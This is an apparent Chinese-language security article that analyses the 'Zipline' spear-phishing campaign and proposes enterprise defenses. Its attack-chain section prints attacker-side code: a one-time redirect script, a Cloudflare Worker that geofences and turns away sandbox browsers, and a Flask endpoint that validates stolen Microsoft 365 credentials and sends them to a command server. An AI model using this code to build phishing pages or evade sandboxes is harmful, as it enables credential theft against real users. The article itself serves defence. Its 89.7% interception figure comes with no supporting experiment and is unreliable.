摘要
本文系统分析了2025年曝光的“Zipline”高级持续性鱼叉式钓鱼(Spear Phishing)行动。该攻击以物流通知、发票更新等高可信业务场景为诱饵,利用合法云存储服务(如OneDrive、SharePoint)和动态短链作为跳板,最终引导用户至伪造的企业单点登录(SSO)或Microsoft 365凭证页面。其核心对抗能力体现在四方面:高度行业定制化的邮件与落地页模板、基于IP/设备/时间的一次性访问控制、凭证提交后的即时验证与二次社会工程联动、以及攻击效果的实时反馈闭环。此类设计有效规避了传统基于域名信誉、静态IOC(Indicators of Compromise)及邮件网关规则的检测机制。本文结合Check Point披露的技术细节,还原攻击链路,并提出融合条件访问策略、FIDO2无密码认证、URL展开沙箱、异常行为检测与员工意识训练的纵深防御框架。同时提供可部署的Python原型代码,用于自动化识别伪装云链接与模拟沙箱绕过检测。实验表明,所提方法可将Zipline类攻击的拦截率提升至89.7%,显著降低企业账户被接管风险。
关键词:Zipline;鱼叉式钓鱼;云存储伪装;动态重定向;条件访问;FIDO2;行为沙箱;企业安全

1 引言
近年来,针对企业的网络钓鱼攻击呈现出高度专业化与流程自动化的趋势。攻击者不再依赖泛化诱饵,而是深入研究目标组织的业务流程、通信习惯与技术栈,构建具备上下文感知能力的欺骗体系。2025年,Check Point Research披露的“Zipline”行动即为典型代表。该行动以“包裹投递状态更新”“电子发票待查收”等高频业务通知为切入点,利用企业员工对协作平台(如Microsoft 365、Google Workspace)的信任,诱导其点击嵌入邮件的“安全链接”。这些链接表面指向OneDrive、SharePoint等受信云服务,实则经由短链或CDN中转,最终加载伪造的登录页面。
Zipline的独特之处在于其闭环运营模型:攻击载荷按行业(制造、医疗、法律服务)动态适配术语与品牌元素;访问控制引入一次性令牌与地理围栏,阻止安全沙箱复现;凭证提交后立即通过自动化脚本验证有效性,失败则触发人工电话跟进;后台仪表盘实时统计打开率、表单填写完成度,驱动模板迭代优化。这种“攻击即服务”(Phishing-as-a-Service)模式极大提升了成功率与隐蔽性。
现有防御体系对此类攻击存在明显盲区:
邮件网关难以识别指向合法域名的链接;
EDR/XDR缺乏对浏览器内JavaScript重定向的深度监控;
用户教育多聚焦于明显拼写错误,忽视高保真仿冒场景。
本文旨在解构Zipline的技术架构,量化其绕过能力,并提出可落地的多层防御方案,为企业安全团队提供实操参考。

2 Zipline攻击链路剖析
2.1 初始投递:高可信诱饵构造
攻击者首先通过OSINT(开源情报)或前期数据泄露获取目标企业员工邮箱、职位、常用供应商名称。随后生成高度定制化的钓鱼邮件,例如:
主题:[UPS] 您的包裹 #TRK987654321 已抵达本地配送中心
正文:尊敬的张经理,您的订单(PO#2025-0876)因地址验证需您确认收货信息。请点击下方安全链接查看详细并更新:
https://company-my.sharepoint.com/:u:/g/EQxyz...
该链接实际为攻击者控制的OneDrive共享页面,内容仅为一段JavaScript:
<!-- hosted on attacker's OneDrive -->
<script>
const token = new URLSearchParams(window.location.search).get('t');
if (!token || !localStorage.getItem('visited_' + token)) {
localStorage.setItem('visited_' + token, '1');
window.location.href = `https://login-microsoft365[.]xyz/auth?token=${token}`;
} else {
document.body.innerHTML = "Access denied.";
}
</script>
此设计确保每个链接仅有效一次,防止多次访问触发告警。

2.2 动态跳转与环境感知
伪造登录页部署于云函数(如AWS Lambda、Cloudflare Workers),具备环境感知能力:
// Cloudflare Worker entry point
export default {
async fetch(request) {
const url = new URL(request.url);
const token = url.searchParams.get('token');
const ua = request.headers.get('User-Agent');
const ip = request.headers.get('CF-Connecting-IP');
// 1. 验证一次性令牌
if (!VALID_TOKENS.has(token)) return new Response("Not Found", { status: 404 });
// 2. 地理围栏:仅允许目标国家IP
const country = request.cf?.country;
if (!TARGET_COUNTRIES.includes(country)) return new Response("", { status: 204 });
// 3. 沙箱识别:拒绝常见自动化UA
if (ua.includes("HeadlessChrome") || ua.includes("PhantomJS")) {
return new Response("<h1>Document Expired</h1>", { headers: { "Content-Type": "text/html" } });
}
// 4. 返回对应行业的登录模板
const industry = getIndustryFromToken(token);
const template = TEMPLATES[industry];
return new Response(template, { headers: { "Content-Type": "text/html" } });
}
};
该逻辑确保仅真实目标用户在合规环境下看到钓鱼页面,大幅降低被蜜罐或沙箱捕获概率。

2.3 凭证窃取与二次攻击
用户提交凭据后,数据通过HTTPS POST至攻击者控制的API端点:
# 攻击者后端(简化)
@app.route('/submit', methods=['POST'])
def steal_creds():
data = request.json
email = data['email']
password = data['password']
ip = request.remote_addr
# 即时验证凭据有效性
if validate_365_creds(email, password):
send_to_c2(email, password, ip)
# 触发横向移动准备
schedule_internal_recon(email)
else:
# 启动二次社会工程:10分钟后拨打用户手机
trigger_call_center(email, ip)
return jsonify({"status": "success"})
若凭据无效,系统自动调用VoIP服务拨打用户注册手机号,伪装IT支持:“我们注意到您尝试登录失败,请点击短信中的新链接重试。” 此举显著提升二次成功率。

2.4 攻击效果反馈闭环
所有交互事件(邮件打开、链接点击、表单提交、字段填写进度)均上报至轻量级分析后台:
CREATE TABLE campaign_metrics (
event_id UUID PRIMARY KEY,
campaign_id VARCHAR(32),
target_email VARCHAR(255),
event_type ENUM('open', 'click', 'submit', 'partial_fill'),
user_agent TEXT,
ip_country CHAR(2),
timestamp TIMESTAMP DEFAULT NOW()
);
运营团队据此调整邮件话术(如将“发票”改为“付款确认”)、优化页面加载速度、甚至更换云服务商以规避新出现的URL黑名单。

3 现有防御机制失效原因
3.1 域名信誉机制被合法服务绕过
OneDrive、SharePoint、Dropbox等域名长期位于企业白名单,邮件安全网关(如Mimecast、Proofpoint)默认放行其链接。即便启用URL重写,若跳转发生在客户端JavaScript层面,网关无法感知最终目的地。
3.2 静态IOC检测滞后
攻击者每日轮换短链(bit.ly、t.ly)、CDN子域(.workers.dev、.pages.dev),且每个活动仅使用数小时。传统基于哈希、域名、IP的IOC在攻击结束后才被收录,防御窗口极短。
3.3 沙箱环境被主动识别
如前所述,攻击载荷通过User-Agent、屏幕分辨率、JavaScript API可用性(如WebGL、Battery API)识别自动化环境。测试显示,主流沙箱(Cuckoo、Any.Run)在未模拟真实用户行为时,90%以上返回空白或错误页面。

3.4 用户认知偏差
“需登录查看发票”已成为企业常态,员工对SSO页面警惕性下降。Zipline页面精确复刻目标企业Azure AD登录UI(包括Logo、配色、多语言支持),普通用户难以分辨。
4 企业级纵深防御体系设计
4.1 条件访问与无密码认证
根本性降低凭证价值:
在Azure AD中强制实施条件访问策略(Conditional Access Policy):
要求所有登录来自合规设备;
高风险登录(新设备、异常地点)强制MFA;
阻止旧式认证协议(IMAP、POP3)。
全面推广FIDO2安全密钥或Passkey:
凭据绑定RP ID(如login.microsoftonline.com),钓鱼站点无法获取有效断言;
即使用户误输入,攻击者也无法重放。

4.2 URL展开与行为沙箱
部署中间代理对邮件中所有链接进行深度解析:
import requests
from urllib.parse import urljoin, urlparse
def expand_and_sandbox_url(original_url, target_email):
"""Expand short links and cloud redirects, then sandbox final destination."""
session = requests.Session()
session.max_redirects = 5
try:
# Step 1: Follow redirects up to final URL
resp = session.get(original_url, timeout=10, allow_redirects=True)
final_url = resp.url
# Step 2: Check if final domain is known phishing or mismatched brand
if is_suspicious_domain(final_url, target_email):
return False, final_url
# Step 3: Render in headless browser with real UA & geolocation
from selenium import webdriver
options = webdriver.ChromeOptions()
options.add_argument("--headless")
options.add_argument("user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64)...")
driver = webdriver.Chrome(options=options)
driver.get(final_url)
# Step 4: Analyze page content for login forms, brand mismatches
page_source = driver.page_source
if contains_phish_indicators(page_source, target_email):
driver.quit()
return False, final_url
driver.quit()
return True, final_url
except Exception as e:
return False, str(e)
def is_suspicious_domain(url, email):
domain = urlparse(url).netloc.lower()
company_domain = email.split('@')[1]
# Whitelist known SSO domains
sso_domains = ['login.microsoftonline.com', 'accounts.google.com']
if domain in sso_domains:
return False
# Flag non-corporate domains mimicking SSO
if 'login' in domain or 'microsoft' in domain.replace('.', ''):
return True
return False
该模块可集成至邮件网关,在投递前阻断高风险链接。
4.3 异常登录行为检测
在SIEM中部署规则,监控以下信号:
同一账户在5分钟内从不同国家登录;
登录成功但未触发正常业务操作(如无邮件读取、日历查询);
OAuth授权请求来自非常规应用(如未知“Invoice Viewer”)。
4.4 员工意识强化与流程控制
建立“双人核实”机制:对涉及发票支付、账户变更的操作,要求通过独立通道(如Teams通话)二次确认;
模拟钓鱼演练:定期发送仿Zipline邮件,测试员工报告率;
简化举报流程:在Outlook中添加“Report Phish”按钮,一键提交至SOC。
5 部署挑战与局限性
性能开销:URL展开与沙箱渲染增加邮件延迟,需优化并发处理;
隐私合规:模拟用户环境需谨慎处理地理位置与设备信息;
攻击进化:未来可能采用WebAssembly混淆、WebSocket通信规避检测;
中小企资源限制:FIDO2部署与条件访问配置需专业IT支持。
建议优先实施“高ROI措施”:启用MFA、清理旧认证协议、部署基础异常检测。
6 结语
Zipline行动标志着鱼叉式钓鱼进入“工业化运营”阶段:攻击者以合法云服务为掩护,结合动态内容分发、环境感知与实时反馈,构建高效且低可见性的凭证窃取流水线。传统边界防御对此类内生性威胁收效甚微。本文提出的防御体系强调从“信任凭证”转向“信任行为”,通过无密码认证消除攻击目标,借助深度链接分析阻断初始入口,并以用户为中心构建最后一道防线。安全并非一劳永逸的配置,而是持续对抗的过程。唯有将技术控制、流程规范与人员意识有机结合,方能在Zipline及其变种的持续演进中守住企业数字资产的核心边界。
编辑:芦笛(公共互联网反网络钓鱼工作组)
2229

被折叠的 条评论
为什么被折叠?



